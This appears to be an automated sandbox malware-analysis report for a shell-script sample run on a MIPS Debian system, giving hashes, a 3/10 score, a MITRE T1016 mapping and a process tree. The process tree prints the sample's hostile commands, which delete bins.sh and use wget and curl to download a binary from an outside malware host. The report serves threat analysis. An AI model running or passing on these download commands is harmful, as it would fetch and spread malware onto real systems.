a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01

Analysis

max time kernel
149s
max time network
4s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2024, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
Size 10KB
Sample241027-c8lgbatdpq
SHA256 a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01
MD5 1fa8632f23bf2eb5ae4e459eb2a5cc6c
SHA1 82b77d7ef192e07c64fb2924f35826b601320f62
SHA512 92a0ab8744e2c7c76f94fbb1ee283b0b340f26fc78aba0d07799c08030dfa7eaf9b552de359499c069a889b3de007a7060c7604a274d832e82ba395eb2e08533
SSDEEP 192:RKjiid8vMrUiUSUtUEUmFUo//Cjaiid8R+UiUSUtUEUmFUx:RKjiid8vM09/aWiid8RNy
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
695	wget
709	curl

/tmp/a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
/tmp/a54866e44af267b3076ccca2c7e0203a29a6305050d9eada1458b2fdbdad9d01.sh
1⤵
PID:686
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:690
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - System Network Configuration Discovery
  PID:695
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:709

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads